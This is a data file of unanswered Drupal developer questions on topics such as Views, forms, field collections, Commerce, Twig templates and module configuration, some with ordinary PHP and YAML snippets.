texts:
When viewing the teaser for a node, all labels are output as uppercase.  I want them titleized (meaning the first letter of every word is capitalized).  What's the best way to go about doing this?  Currently there is no CSS effecting the label field, so I know Drupal is just outputting all capitals.

I don't know why Drupal is rendering the label text in all capitals, so I was looking for a theme preprocessor function in the Drupal 7 API that could maybe dig into the label data and then change it to all lowercase from there, but I couldn't find anything concrete.  I could then apply CSS to format the label how I want.  However, until I know HOW Drupal renders the labels I can't apply any CSS that will have the desired effect.

EDIT: I changed the title from "Change label in teaser output to lowercase" to "Change the formatting of a label in Drupal 7" as I think that the question can be answered in a less specific sense, and I may have found the reason my labels are turning up in all caps.


texts: How do I create a field that accepts only unique values?

texts:
I am using the Field Collection module because I have some complicated relation between the fields, and I have tried to integrate it with the Unique field module, without success, because Unique field module is not supported by the Field Collection module.

Is there a simpler method to check if the value is unique, and the to display validation error, if the value is not unique?

Unfortunately, Drupal 7 has not this feature by default, so there must be a method to do this.


texts:
In my custom module I have created custom for like below:
Path: custom_module/src/Form/UserType/UserType.php

<?php
/**
 * @file
 * Contains \Drupal\resume\Form\UserType.
 */
namespace Drupal\custom_module\Form\UserType;

use Drupal\Core\Form\FormBase;
use Drupal\Core\Form\FormStateInterface;

class userType extends FormBase {
  /**
   * {@inheritdoc}
   */
  public function getFormId() {
    return 'user_type_form';
  }
  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state) {
    $user_types = \Drupal::entityManager()->getStorage('taxonomy_term')->loadTree('user_type');
    $user_type_options = array();
    foreach ($user_types as $user_type) {
        $user_type_options[$user_type->tid] = $user_type->name;
    }

    $form['user_type'] = array(
      '#type' => 'select',
      '#options' => $user_type_options,
    );
    return $form;
  }
  /**
   * {@inheritdoc}
   */
  public function submitForm(array &$form, FormStateInterface $form_state) {

  }
}

Then I created a block in following path:
custom_module/src/Plugin/Block/UserTypeBlock.php

<?php
/**
 * @file
 * Contains \Drupal\custom_module\Plugin\Block\UserTypeBlock.
 */
namespace Drupal\custom_module\Plugin\Block;

use Drupal\Core\Block\BlockBase;
use Drupal\Core\Form\FormInterface;
/**
 * Provides a 'user_type' block.
 *
 * @Block(
 *   id = "user_type_block",
 *   admin_label = @Translation("User Type block"),
 *   category = @Translation("Custom")
 * )
 */
class UserTypeBlock extends BlockBase {
  /**
   * {@inheritdoc}
   */
  public function build() {
    $form = \Drupal::formBuilder()->getForm('Drupal\custom_module\Form\UserType');
    return $form;
   }
}

But after assign the block in to a region I'm getting following error:

  InvalidArgumentException: The form argument
  Drupal\custom_module\Form\UserType is not a valid form. in
  Drupal\Core\Form\FormBuilder->getFormId() (line 190 of
  C:\wamp\www\www_mysite_com\core\lib\Drupal\Core\Form\FormBuilder.php).


texts: Drupal 7 Query database and display results same page in custom module template

texts:
I want to see the results on the same scree after submit.

But my results php error:

  Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 32 bytes) in /var/www/html/includes/form.inc on line 368

I have tried to raise the memory limit in ini_set did not change.
I think that it is the cause the wrong my code.

My goal

Display the search results and input form on the same screen.
Search the external database with the value of the input form.
Keep the value of the input form.

Please help me with this.

Here is my code.

custom_search.module

function custom_search_menu() {
    $item['customsearch'] = array(
            'title'         => t('Form and Result'),
            'page callback' => 'custom_search_callback',
            'access arguments' => array('access content'),
            'type'          => MENU_CALLBACK,
    );
    return $item;
}

function custom_search_theme() {
    $path = drupal_get_path('module', 'custom_search');
    $rtn = array(
            'custom_search_template' => array(
                    'path' => $path,
                    'template' => 'node--customsearch',
            ),
    );
    return $rtn;
}

function custom_search_form($form, &$form_state) {
    $form = array();

    $form['my_checkbox']=array(
            '#type'=>'checkboxes',
            '#title'=>t('checkbox'),
            '#options'=>array(
                    '1'=>t('option1'),
                    '2'=>t('option2')
            ),
    );
    //There are some $ form[]

    $form['submit']=array(
            '#type'=>'submit',
            '#value'=>t('Submit')
    );

    return $form;
}

function custom_search_callback() {
    return theme('custom_search_template');
}

function custom_search_form_submit($form_id, &$form_state) {
ini_set('memory_limit', '512M');
    $options = $form_state['input']['my_checkbox'];
    //external database query use input options
    //The external database has already connected and got data
    $results[] = array('1','2','3'); //sample results
    $results[] = array('2','3','4'); //sample results
    return theme('custom_search_template',array('results' => $results));
}

node--customsearch.tpl.php

        <?php $form = drupal_get_form('custom_search_form') ?>
        <form role="form" id='<?php echo $form['#id'] ?>'
                            action="<?php echo $form['#action'] ?>"
                            method="<?php echo $form['#method'] ?>">

            <?php echo drupal_render($form['my_checkbox']) ?>
            <?php echo drupal_render($form['form_id']);?>
            <?php echo drupal_render($form['form_build_id']);?>
            <?php echo drupal_render($form['form_token']);?>
            <?php echo drupal_render($form['submit']); ?>

        </form>

results

      <!— I want results here —>
      <?php
      if(isset($results)) {
        foreach($results as $row) {
           echo "
";
           echo $row[0];
           echo "
";
        }
      }
      ?>


texts:
Asked this question on Drupal.org also, but i think this place is going faster and better :-)

I've installed Content Access and made a view for a Content Type. In the table, users can see content only for them. An admin is giving the rights to view, edit and delete content.

Is it possible to show to users who else has access to a node?


texts: How do I force a 403/410 error code for specific users and content?

texts:
I have a content type in a Drupal 6 site that allows the creator of a node to mark the node as "withdrawn"; he can still see it, but attempts by others to see it are caught and redirected somewhere else, like their user page.

So far so good, but I'm concerned about what happens when search bots show up looking for the node; they get a 302 response from the server and are then redirected to the "somewhere else" page with an http code 200. What ought to happen (I think) is that the request by Googlebot for the node should result in a 403 or 410 error code, causing (eventually) the page to get dropped from the Google index. So I'd like to have the page generation work just like it is, except with a 401/410/whatever getting sent back as the response to the initial request.

I've tried putting some header() calls into the part of the code that detects the disallowed access, but they're not working, presumably because I'm too far along in the page construction by the time that call happens for the new header information to matter.

Is there any way to get this error code generated while still getting the user to the page I want them to be at?


texts: Revisioning is not working properly with paging module

texts:
I am using revisioning and paging module.

I have set current revision for both case node view and node edit for revisioning module.

I am using pagination in node pages.

There are two role A(admin) and B(below admin). If B create any node , node go to moderation mode(also unpublished) and after published (by A) when again B edit that node, node goes to moderation mode(also unpublished).

And when we see in node view page it shows the latest revision content not current but in edit page it showing current revision.

After some searching i have found that node table is showing correct data but field_data_body table is showing latest revision id and that is the problem .

Can anyone help why it is happening so ?


texts: Views count grandchildren with specific value

texts:
I have a Organic Groups structure of:

Organsiation

-Property

--Claim

I can use views to show all of the properties within an organisation by setting a contextual filters with OG membership: Group ID.

What I want to be able to do is count the number of open claims (a claim where a feild 'status' is set to 'open') within a property. For example:

Is this possible using views? It seems to ask a lot of views as I guess I need a subquery or second query to get the claims of each property.

Each claim references a property in its group audience feild. Each property references an organisation in its group audience feild.


texts: How to create active menus for the content type in drupal 7?

texts:
I want to create a simple content type with menus ,on clicking each menu the content will be shown on the same block but of the respective menu item.

In this image ,i am having 3 menus a,b ,c with a content .On clicking 'a' menuitem respective content of 'a' will be shown ,on clicking 'b' respective content of 'b' will be shown and so on.

Can anyone help me with this issue!.


texts: Why is my Pantheon git clone not loading correctly?

texts:
My website is on Pantheon. I am using linux ubuntu 17.10 and LAMP for local development. I use the git clone command and it works. My drupal 8 files are there. Then I export and import the database sql file and the files folder. When I load my website on the local host I get this:

How do I fix this? What am I doing wrong? Am I missing a step?


texts: Token to output the last value in a multi-value field?

texts:
I have a text field in an Entityform set to accept an unlimited number of values:

I'm trying to build a Rule that sends an email with the text from the last submitted value from the field. The token that I have to work with is:
[entityform:field-some-text]
The output of this token just concatenates all of the field's values into one text blob. For example, if I had four values, the output would look like this:

First text value., Another bit of text., Yet another value., I enjoy donuts.

All I want is that last value, "I enjoy donuts."
Is there a different token (or something I can tack onto the token) to only output the last value? Something like:
[entityform:field-some-text:last-value]

If it makes any difference, this on a Drupal 7 site.


texts: Show data like tool tip when hovered over portion or regions on a custom map

texts: I have a map and i want to create some regions in the map. When hovered on that region i need to show some content from database may be preloaded also. so which module should i use to create this task. when i hover should be able to show some click-able links to the user.


texts: how to get content type field name as drop down for filter in view

texts:
In Drupal 7.10, I have created new content type with 15 fields and file upload for collecting input from end user(named inputdata). I need to create a search page with content field of "inputdata" (content type) . In views I select the "inputdata" using exposed filter 15 field is difficult, its not fair. So I need these 15 fields as drop down (instead of equal to , contains, greater than ...in exposed filter).
So How do I get the names of fields as drop down for search ? Which modules I need to configure ?


texts: Are the parameters of saved exposed Views filters saved in the database, and if so, how can I access it?

texts:
So in a View (using Views 3) we can expose filters and these filters are "saveable" by particular users, where is this saved, and can I access it?

I want to be able to "save" the parameters and then be able to email the user later with updated search results periodically...

I'm assuming that if no filters have been applied, the view will display all of the content...


texts:
I am looking for a system where I can cluster MySQL. I saw an article which guided me to custom Drupal schema for NDBCluster engine for MySQL clustering, Btw. I am using Drupal 7 with Varnish, memcache etc.

Drupal MySQL NDBCluster High availability

And I also saw another solution for clustering MySQL using Galera Cluster

(MarinaDB and Percona also uses this for Clustering)
Scaling Drupal stack with Galera

The reason why I need a cluster is because my fields are over 8 kilobytes
There will be a minimum of  15.000 Users visiting the site at the same time.

what is the performance expectations? and what would be the ideal DB to choose?


texts: Upload an image in a form programmatically

texts:
I'm doing a form programmatically. I need to give an option to upload an image and give an option to resize it ( like cropping option ).

I don't know how to do it,  I know that I need to upload the image to a directory and also I suppose that I need to show a relation between the node and the image in the database.

I've created a field called field_img.

So, how can I do it?

This is the form that I've done but I don't know how to give a relation in the database...

form['group_anuncio']['imagen'] = array(
        '#title' => t('Image'),
        '#type' => 'managed_file',
        '#upload_validators' => array('file_validate_extensions' => array('jpeg jpg png gif')),
        '#upload_location' => 'public://sites/default/files',
        '#progress_indicator' => 'throbber',
        '#status' => FILE_STATUS_PERMANENT,
        '#progress_message' => 'One moment while we save your file...',
);


texts: 3-column Zen-based layout doesn't work correctly with Panels

texts:
Most of the pages on my site are in a 3-column layout. For the pages that needed 2 columns, I'm relying on panels because I didn't have the time to get into the templating files and how to make new template files and use them for only certain type of pages.

My problem is in Zen-based 3-column layout, the middle content
 has a 515 pixels width. The total width of the big centered wrapper is 960 pixels. The
s that hold it are "#content" and "#content-inner." These
s are squeezing my 2-column panels in Internet Explorer.

I realize this problem is mainly due to my lame workaround and poor understanding of how CSS truly works, rather than Internet Explorer. What I did basically is a
 of which "#content-inner" is the parent, and I made it 960-pixel wide; so Chrome and Firefox will "understand" me, and prioritize that child-
 that is generated by Panels and have it be 960-pixel wide.

Internet Explorer won't do this for me. Bummer. Yet, I don't know how to go about solving this without having to rebuild everything.


texts:
I did a Drupal 7 update using drush up and received the following message, repeated numerous times:

  Unknown engine type outputformat

Since that update, Drush does not work, but rather returns the same message.

How can I fix this problem?

I have Drupal 7.52 and Drush 5.9.


texts:
I am using Views Popup module to display the popup in my views. I have an image field when clicked displays the popup. I added jquery script in my views field template file to set the position of the popup based on the mouse clicked position. I am able to set the position but for some reason the position of the displayed popup seems to be getting reset . I am guessing this is done by the module while setting the display to block.

Any idea how the position can be reset?


texts: Is there a way to re-categorize content in a list form?

texts:
There are hundreds of content pages on a site I work with. These are categorized with Taxonomy, which connects the pages to the menu system. There is a need to revise these connections. I would like to create a page (view) where these Taxonomy references couyld be updated?
Is this possible?


texts: How to View of commerce products with image from product_variation

texts:
Drupal 8, commerce 2: I would like to make a a view of commerce products and show a) the title of the product b) the image of one of the product_variations, e.g. at delta 0.
What I have done:
* view of products

add relationship to product_variations
add the variation image field for display

-- this gets me a list of products and images, but it is in essence a list of variations, with the product title repeated over the different images, so

I turn on aggregation and

-- I get this error: Table 'mytable.commerce_product_variation__field_variation_image' doesn't exist:

WITHOUT the product_variation image field and aggregation on, I have the correct list of product titles.

This seems like a pretty basic need for a view of products, without we put an image field directly on the product.

One alternative I have explored is to do a rendered entity of the Product and make simplified view modes for the product_variation and product, then set the display mode for the entity in the view, but I will have to customize the field display for every type of product_variation and product I have, and in my one test its still not right, giving me duplicate variation images stacked under the product title, and there is no way to specify "link to content" when using the rendered entity, or do any custom buttons as you might do using fields. I suppose its possible to get this way to work using twig templates, but it seems a lot tougher than if we could have a working aggregation while using a relationship.


texts: Render a children node inside its parent

texts:
I'm looking for a very specific behavior. I need to display every "node's children" inside its parent. This behavior needs to be effective when the node displayed is at level 4 or below. The hierarchy is taken from the menu system.

As I am totaly stuck, any suggestion on how to do this would be really appreciated.


texts:
I have a content type named "school;" this content type has the "teacher" CCK field, but the number of teachers is not same for any school.
I need a thing like "add new teacher" button, which can be used to a new "teacher" CCK field.
Does anyone know a module to do this?


texts: How will I access inner fields values in twig template

texts:
I want to access 'name' key in the given image, but when I am trying with this
author_picture['#user'].contents.name its showing nothing.


texts: Render parent paragraph depending on dynamic data from child paragraph (e.g. db query)

texts:
Here's my problem (D8):

There's a content type concert. In a paragraph type concerts_list a list of upcoming concerts (concert nodes) is displayed.
This concerts_list paragraph is referenced in field_right_column of another paragraph of type 2_columns.

What I want to do is: Hide the right column if there are no upcoming concerts in the concerts paragraph.

My issue is that the outer (parent) paragraph is rendered and preprocessed before the child paragraph and the resulting render array only includes #theme, #paragraph and #cache but not the actual render array used to render the paragraph.

How can I access a child paragraph's render array from the parent?
I don't want/need to access the child paragraph's fields since the concerts are no field because the data is simply added to the build array in hook_entity_type view.

When rendering the 2_columns paragraph I need to know whether or not there are any upcoming concerts and if not I'd like to hide the right column.

Is there a better approach to achieving a similar result?

I'd appreciate any hints/tips/...!

Here's the relevant code:

function MODULE_paragraph_view(array &$build, EntityInterface $entity, EntityViewDisplayInterface $display, $view_mode) {
  $bundle = $entity->bundle();
  if ($bundle === 'concerts_list') {
    // Get the max number of concerts we want to display.
    $max_concerts = (int)$entity->get('field_count')->value;
    $build['concerts'] = MODULE_get_upcoming_concersts($max_concerts, 'teaser');
  }
  elseif ($bundle === '2_columns') {
    // Determine whether to show one or 2 columns depending on the number of
    // upcoming concerts in 'concerts_list'.
    // It would also be ok to do that in twig but I'd need to get the data
    // somewhere.
  }
}

function MODULE_get_upcoming_concerts($limit = 0, $view_mode = 'default') {
  $entity_type_manager = \Drupal::entityTypeManager();
  $query = $entity_type_manager
    ->getStorage('node')
    ->getQuery()
    ->condition('type', 'concert')
    ->condition('field_date', strtotime('midnight'), '>')
    ->sort('field_date', 'ASC');

  if ($limit) {
    $query->range(0, $limit);
  }

  $nids = $query->execute();
  if (count($nids) < 1) {
    return [];
  }
  $nodes = $entity_type_manager->getStorage('node')->loadMultiple($nids);
  return $entity_type_manager->getViewBuilder('node')->viewMultiple($nodes, $view_mode);
}


texts: Why is an integer variable in PHP interpreted as a string literal when passed from Drupal to JavaScript via Drupal.settings?

texts:
This is in Drupal 7.

I'm attaching some JavaScript via drupal_attach_js(), using "settings` to be able to pass the "height" parameter to a JavaScript function. The height is used in a modal dialog, and it will vary depending on the amount of data that the modal will contain.

Here is my JavaScript code:

(function ($) {

  Drupal.behaviors.designer = {
    attach: function (context, settings) {
      // ...some code to activate modal...
      height: settings.designer.jquery_modal_height,
      // ...some more code...
    }
  };

})(jQuery);

If I run console.log(settings.designer.jquery_modal_height), then the console displays the value of this variable, but the actual "height" parameter seems to take the code literally and never applies it's actual value.

Am I doing something wrong?


texts: How to modify the fields of user registration form and user login form?

texts: I have user registration and user login form on same page and want to customize the field of both the forms?


texts: Not able to get textfield value to generate a ajax dependent dropdown option

texts:
I am not able to get the textfield value to generate an ajax dependent dropdown option.That is when i am trying to enter a textfield value in the form and clicking a button to call the ajax function. The form value for the textfield i am getting is blank.Here's the code snippet:

/*
* function to add the images to the gallery
* @param: none
* @return: none
*/
function image_gallery_add($form, &$form_state) {
$form['#tree'] = TRUE;
$form['add_image'] = array(
    '#title' => t('Add images to gallery'),
    '#type' => 'fieldset',
);
$form['add_image']['gallery_name'] = array(
    '#type' => 'textfield',
    '#title' => t('Please enter the gallery name'),
);

$form['add_to_dropdown'] = array(
    '#type' => 'button',
    '#value' => 'Add To Dropdown',
    '#ajax' => array(
        'event' => 'click',
        'callback' => 'image_gallery_select_options_callback',
        'wrapper' => 'dropdown_gallery_replace',
    ),
);

$form_field_val = isset( $form['values']['add_image']['gallery_name'] ) ?  $form['values']['add_image']['gallery_name'] : '';
$form['add_image']['select_gallery'] = array(
    '#type' => 'select',
    '#title' => 'Select Gallery',
    // The entire enclosing div created here gets replaced when textfield gallery_name changes
    // is changed.
    '#prefix' => '
',
    '#suffix' => '
',
    // when the form is rebuilt during ajax processing, the $selected variable
    // will now have the new value and so the models will change
    '#options' => automobile_get_model_dropdown_options($form_field_val),
    '#default_value' => '',
);

$form['submit'] = array(
    '#type' => 'submit',
    '#value' => t('Submit')
);
return $form;

}
/**
* Handle post-validation form submission.
*/
 function image_gallery_submit($form, &$form_state) {
    $name = $form_state['values']['add_image']['gallery_name'];
     print( $name );exit();
  }

 function automobile_get_model_dropdown_options($key = '') {
     //dpm($key);
   $options = array(
            t($key) => drupal_map_assoc(array(t($key))),
        );
     if (isset($options[$key])) {
          return $options[$key];
      }
      else {
           return array();
      }
  }

 function image_gallery_select_options_callback($form, $form_state) {
   return $form['add_image']['select_gallery'];
 }

Can anyone suggests what i am doing wrong? I am attaching a screenshot of the situation too...


texts: Keep URL the same after changing page title

texts:
I create alias for every pages on my site. For example, if a page is called "My Page", then the alias will be "/my-page".

Is there a way to keep that URL the same even if I rename the page "My Page 1" ?

For the moment, it automatically changes the alias to "/my-page-1"

Thanks!


texts:
I have a Committee content type which has multiple meeting dates.

I'm trying to get a View that shows multiple Committees and meeting dates.  Basically, like so:

Committee A
1/1/2012
2/1/2012

Committee B
1/2/2012
2/2/2012

Instead I get:

Committee A
1/1/2012

Committee A
2/1/2012

Committee B
1/2/2012

Committee B
12/2/2012

I have tried Group Multiple Fields, but the checkbox does not stay checked after I save.  Any pointers much appreciated.

Thanks!


texts:
I have a view and have styled the view with a Twig template. The view show nodes whose content type is Programs. I would like to add a Upload button in the view so that admininistrator users can add reports. The view structure is the following one.

Is this possible through the Drupal UI?

I created the File upload field as a file type, but it is allowing administrators to add files only through the node page.
Is there a way to make the upload button appear on the view itself?


texts: I want to change language in a select list and whole site changes to selected language(All content)

texts:
I want to have four languages Catalan, Spanish , French and English. English language will be default.If i change language to be spanish,i want the whole site to change to spanish or if i change to french the whole site should changed to french.

Example site. I want to know how this would have been done ?

Any help really appreciated :)


texts: How to create a node with submissions of a webform?

texts:
I'm using Drupal 7 and created a content type 'NewArticle' with the fields 'Title', 'Text' and 'Image'. Users have the permission to create a 'NewArticle', but I don't like the way of displaying the administration bar in order to let them create a 'NewArticle'.

Instead, I'd like to work with Webforms. My goal is to create a Webform with exactly the same fields as the content type 'NewArticle'. So what I want is: when users filled in the form and submit it, a new node 'NewArticle' is created with the submitted information.

How can I do this? Are there modules that make this possible? I can't find any...


texts: How to SUM/add the values of two fields in a View?

texts:
I have two separate fields in a View:

Miles on Engine at Time of Purchase/Delivery (field_engine_hours_at_delivery)
Miles added to Engine After Purchase/Delivery (field_util_agg_engine_hours)

(1) is a standard integer field. (2) is fed by an aggregation of many other content items. My view is set to display these two values in a table, side by side.

I would like to now add those two fields to get a "Total Miles on Engine" value for the view. I tried adding a Views PHP field with the following PHP code, but the result that is returned is blank.

Value Code

$entity_field[0]['value'] = array_pop(array_pop(field_get_items($entity_type, $entity, 'field_engine_hours_at_delivery'))) + array_pop(array_pop(field_get_items($entity_type, $entity, 'field_util_agg_engine_hours')));

Output Code

  <?php $display_output = $entity_field_item['value']; ?>

I'm not very well-versed in PHP, so I'm sure I've got something amiss in that code. Can anyone clarify whether this can be done... and if it can, what I need to change in my code to make it work?

P.S., I also tried this version of the Value Code, but still did not get any result:

$entity_field[0]['value'] = array_pop(array_pop(field_get_items($entity_type, $entity, '$row->field_engine_hours_at_delivery'))) + array_pop(array_pop(field_get_items($entity_type, $entity, '$row->field_util_agg_engine_hours')));

Thanks!


texts: How can i select taxonomy terms applying filters on its fields?

texts:
I'm building a project where i've decided to heavily use Drupal items (nodes, taxonomy, views) but i find hard to retrieve data in a simple way.

I've defined a taxonomy vocabulary with custom fields that are references to other vocabulary terms.

For example i have a book_author vocabulary and books vocabulary and need to get all the books written by a certain author tid.

Are there apis that i can use with a single call or do i have to use Sql queries on taxonomy_* field_data_* tables?


texts: Create Drupal 7 page specific tpl files without using node ID's

texts:
i know you can crate custom tpl files for a specific page by doing the following:

html--node-999.tpl.php

But this doesnt work well if the node-id is going to change when switching environments or migrating stuff. What is the file naming convention for drupal 7 tpl's that are URL Path specific?


texts:
Consider i have a view which filter some Content Type according to a specific field.

I want to place a search box in the view page so the results of the view can be search able.

Is there a module? Or can i somehow do it with search api any tutorial for this?


texts: D7 module for payment associated to a node?

texts:
I am looking for a D7 module that will allow users to make a payment that is related to a node. So let's say I have a content type called 'Events', and have lots of nodes in the 'Events' content type, I want users to be able to pay in order to attend one of these Events. So maybe the user would view an Events node, and then they can pay for the node (not to view it... but pay for what the node is offering: e.g. an event)

Anyone know of anything??

I don't want to use Drupal Commerce because I don't want a shop per se, I just want to take payment related to a node.

Thanks so much!


texts:
I have a custom module on a Drupal 8 site which has a controller defined with a menu item placed in the main menu.

I would now like to move the menu item from the main menu to a different menu.  I have tried changing the menu_name item in modulename.links.menu.yml rebuilding the routers and clearing the cache, but the menu item doesn't change to the different menu.

This is the modules *.links.menu.yml:

  events_register.events_register_form:
  title: 'Register'
  menu_name: main
  route_name: events_register.events_register_form

I changed the menu name to:

  events_register.events_register_form:
  title: 'Register'
  menu_name: footer
  route_name: events_register.events_register_form

How do I get my menu item to change menu? Is there an extra step I am missing?


texts: Allow views custom plugins on a particular filter criteria only

texts:
I have started to create a custom views plugin to sort the fields in view according to the video views(not node views but youtube views) on my video content type.
This is how I've implemented hook_views_data():

$data = array();

$data['post_video_views']['table']['group'] = t('PROJECT_NAME');

$data['post_video_views']['table']['join'] = array(
  'node' => array(
    'left_field' => 'nid',
    'field' => 'nid',
  ),
);

$data['post_video_views']['popular'] = array(
  'title' => t('Popular videos'),
  'help' => t('Youtube views'),
  'field' => array(
    'handler' => 'views_handler_field',
  ),
  'sort' => array(
    'handler' => 'views_handler_sort',
  ),
);

This gives me an option to sort ascending and descending and also provides the fields to add. Everything working fine till this step.

Now, I want that this options should only appear when when I have the following filter criteria satisfied: Content: Type (= Video). How can this be done? I know this should be simple to do but just don't know where to do it.

P.S: I am using Views 3 with D 7.22.


texts:
I have a content type with a field term reference to a vocabulary using selection list widget.
When i fill the content type, i get in the output the term selected.
But i click on that term i have the message :
There is currently no content classified with this term.

Any help please ?


texts: D7 Commerce - Save rules applied to line items in cart?

texts:
I want my users to be able to redeem points for discounts off of their orders. Every dollar is worth 20 points. I've managed to work the entire equation in Rules to line items, however none of the rules I put into place save. Here is what I have so far:

As soon as I leave my cart, the value changes from the discounted value I've set, back to 0.00. For some reason, the updated unit price will not save (even though I've set it to?) Am I missing something? Apologies for crazy rule, but it's the only way I could get it done.

Update: I've learned that Cart Refresh is the reason rules applied to line items in cart don't save. How can I make these rules stick?!


texts:
I have a view which fetches nodes from content type A, arranges them in a grid and uses a displaysuite buildmode to render them...nothing fancy so far. Now I want to insert a specific node of content type B at a specific position in the grid...like this:

+----------+----------+
|          |          |
|  type A  |  type A  |
|          |          |
+----------+----------+
|          |          |
|  type B  |  type A  |
|          |          |
+----------+----------+
|  type A  |  type A  |
.          .          .

I'm not sure where to start. I was hoping there would be some hook, preprocess function or whatever where I get an array of node objects to insert my special node into which then gets rendered...


texts:
There are some VPS services that advertise that have SSD. Does it worth the extra money?

In a setup with varnish/nginx/php-fpm/apc/drupal/mysql, would SSD provide any significant performance improvement in drupal 7?

If yes, in which case scenarios?


texts: Use dropdown in views exposed filter on paragraph text field in node view?

texts:
I have seen Use dropdown in views exposed filter on text fields with node->title? but I need to use there a field from a paragraph field of the node.
Let's say the paragraph field in the node is called field_pdfs and the field in the paragraph is called field_pdf_title. (node -> field_pdfs -> field_pdf_title).
I tried the following code:

function pdf_app_form_views_exposed_form_alter(&$form, FormStateInterface $form_state, $form_id) {

// If not the view we are looking, move on

// Query nodes
$storage = Drupal::getContainer()->get('entity_type.manager')->getStorage('node');
$nids = $storage->getQuery();

// Gather published artist nodes and sort by title
$nids = $nids->condition('type', 'library')
 ->condition('status', 1)
 ->sort('title')
 ->execute();

// If there are no nodes, move on
if (!$nids) {
 return FALSE;
}

// Start building out the options for our select list
$options = [];
$nodes = $storage->loadMultiple($nids);

// Push titles into select list
foreach ($nodes as $node) {

$result = $node->get('field_pdfs')->referencedEntities();
foreach ($result as $paragraph) {
  if ($paragraph instanceof Paragraph) {
    $value = $paragraph->field_pdf_title;
 $options[$value] = $value;
  }

 }
  }

// Start building out our new form element
 $form['field_pdf_title']['#type'] = 'select';
$form['field_pdf_title']['#options'] = $options;
$form['field_pdf_title']['#size'] = 1;
 }


texts: EntityReference and custom field but not Title

texts:
By default EntityReference (auto-complete) works with Title, is it possible to use another field (f.x. from selected Content Type)?

I also tried to create a view and use it (it worked well when you selected value) however once you save a Node and reload, it display Title again.

How could I change that and display my own field?


texts: How do I programmatically add field collections instances to a form?

texts:
I have a form with field collections; on form validation I need to add instances of that field collection type. For example, field collection user_data has fields first_name, Last_name; when someone submits the form, I want to add as many fist_name and last_names as I want, programmatically. The field collection user_data is set as unlimited.

I was thinking to something like the following.

// Create new field collection item of type user_data
// Set first_name, last_name
// Append field collection item to $form some how

I'm just not sure how to do this, or even if it's possible.


texts: Is there a module for tracking changes to a Drupal site's configuration?

texts: I want to create a simple system for tracking changes to my Drupal configurations and knowing which modules are used by some configuration settings is crucial, but will be happy to use an existing one if it is good enough. Is there a module that implements this?


texts: Allowing a user to control and/or view their own revisions

texts: Is there a way to allow a user to view and/or edit only their own revisions?  I don't want another user to be able to view other people's revisions.  Is there a module for this?


texts:
I need a little bit of guidance, I made a custom class and im trying to use it in a node but of course it throwing a white screen at me. So my question is how can I go about using a custom class for d7 so I can include the tag in my node via php.

I put this code in the template.tpl.php file and tried using it in my node but it then gave the white screen.

<?php class Colors {

  public function red_form() {
        echo 'color red is here';
  }

    public function blue_form() {
        echo 'color blue is here';
  }

    public function green_form() {
        echo 'color green is here';
  }

    public function purple_form() {
        echo 'color purple is here';
  }

    public function yellow_form() {
        echo 'color yellow is here';
  }
}

$colorforms = new Colors();

?>

and im using this in the node.

Text here here and here.

<?php $colorforms->red_form(); ?>

More text here here and here.

the output im trying to get using the code above is.

Text here here and here.

color red is here

More text here here and here

is there a module or something for this? or anything to that nature, im a little in the dark on this.


texts: How to merge two views block result to a single block

texts: I installed the flag module. Created two flag entities node(for node pages) and term(for taxonomy term pages). Created 2 different views with block display. The requirement is to display latest 10 favorites. As of now i am showing the term view in header of node view and limited both to show latest 5 favorites(5 from each). But this will not fulfill my requirement. I need to merge these two views results to  a single one and to show the latest 10 favorites from both. Is there any way to do it.


texts: Linking an individual term from a vocabulary with all terms from another vocabulary

texts:
I have two vocabularies/fields, one called Days that has all the days of the week (Mon, Tues, Wedn...) as terms, and another vocabulary/field called Time of Day that has terms (Morning, Midday, Afternoon, Evening, Night, Late).

I'm hoping to use these vocabularies/fields for a type of opening hours style tagging, e.g. X venue is open Monday: Morning, Midday, and Evening, Saturday: Evening, Night, Late, etc.

I'm imagining a situation when I check the box next to 'Monday' the terms in the Time of Day field will become visible and I'll be able to check the 'Morning', 'Midday', and 'Afternoon' boxes. Likewise for when I check any other box next to another Day term.

Can you guys think of a way I could set this up with my field structures?

Thanks in advance!

EDIT: Hey guys, new aspect of this question now. So I'd like to attach tags to different day and opening hour combinations, e.g. Monday Morning X Venue is good for coffee, breakfast, Saturday Night at X Venue is good for cocktails, dancing.

I've currently got a vocabulary of tags. How can I go about linking the tags and the opening hours/days? A heirachy would be an option, but that would make for a hell of a lot of repeated clicking for the user. Any thoughts?


texts:
I'm trying to find a way to use dynamic web service URLs - I want to query a RESTful server, and get some data, however the type/quantity of data changes based on user input.

I looked into the Feeds and Web Service Client modules, and neither seems to do what I need.

I can just write this in code, but this seems like a relatively common use-case, so it seems like a module solution would exist.


texts: How is drupal able to see a module even when I renamed it

texts:
I ran down into a serious issue with mediabox module. After spending some time I realized its because the update has broken some functionality. I just wanted to revert back to older version. I did it by copying my local folder which is older version to the production. However it looks like drupal is still taking the older version. This I confirmed by observing the html code which is different for two versions.

I cleared cache, restarted apache. But it still somehow is getting it from the bugged code. I even removed the folder. But surprisingly it is still reading it from somewhere. I made sure I removed the cache and rebooted apache. I did this in my local machine which actually broken my site which was expected but I am wondering why its still not throwing any error even after I renamed the folder name


texts: Converting static site to Drupal 7 - How to set-up department sites?

texts:
I am new to Drupal.  We have a corporate site that is static html, has 13 departments.  The template for the department sites are very similar to the main corporate site.  The departments will not have a different DNS assigned to it, that is, the structure will be as so:

main site URL:  www.mycorp.com
department Site:  www.mycorp.com/hr

We would want the departments to update their own content. Each department has about 10 pages to maintain, but can grow. It is also important that all of the departments' content is  shared/accessed/searched by the main corporate site. Would Drupal 7 multisite set-up be recommended for this?


texts:
I like Devel Generate. But I ask myself how to turn off the "crazy character length" and "no spaces" -feature of content, that is created for textfields.

Each textfield of my generated nodes is mostly filled with just 1 word, that contains an unrealistic number of characters with "no" spaces.

Example:
wuvicreshiphovowubitodrecaphuliswugoclebeprushewiphusebratidrovasishicowracheracregoswethemespacrubrawugichedeuewacuprenesaphespuslushastimamathetapipheproswesetriprubuswaduwusledribiviswiuefredrudruuedanaphahuprocowicastonohagibrotrunecitrusadrericreswab

This breaks layouts. And makes it really hard to work with it.

Why is that? Forcing users to use overflow:hidden is a nice idea - but how to turn it off?

In this moment I use jQuery to add spaces. Guess that's not the way the devs meant it to be used.

Thanks


texts: How do I mock a service when using BroswerTestBase?

texts:
I am trying to use BrowserTestBase to write a functional test for a Form. The form populates some form elements with data retrieved from an external site. The client for this external site is injected into the form as a Drupal 8 service. The client uses Guzzle, and I'm building the mock client using code similar to the following one.

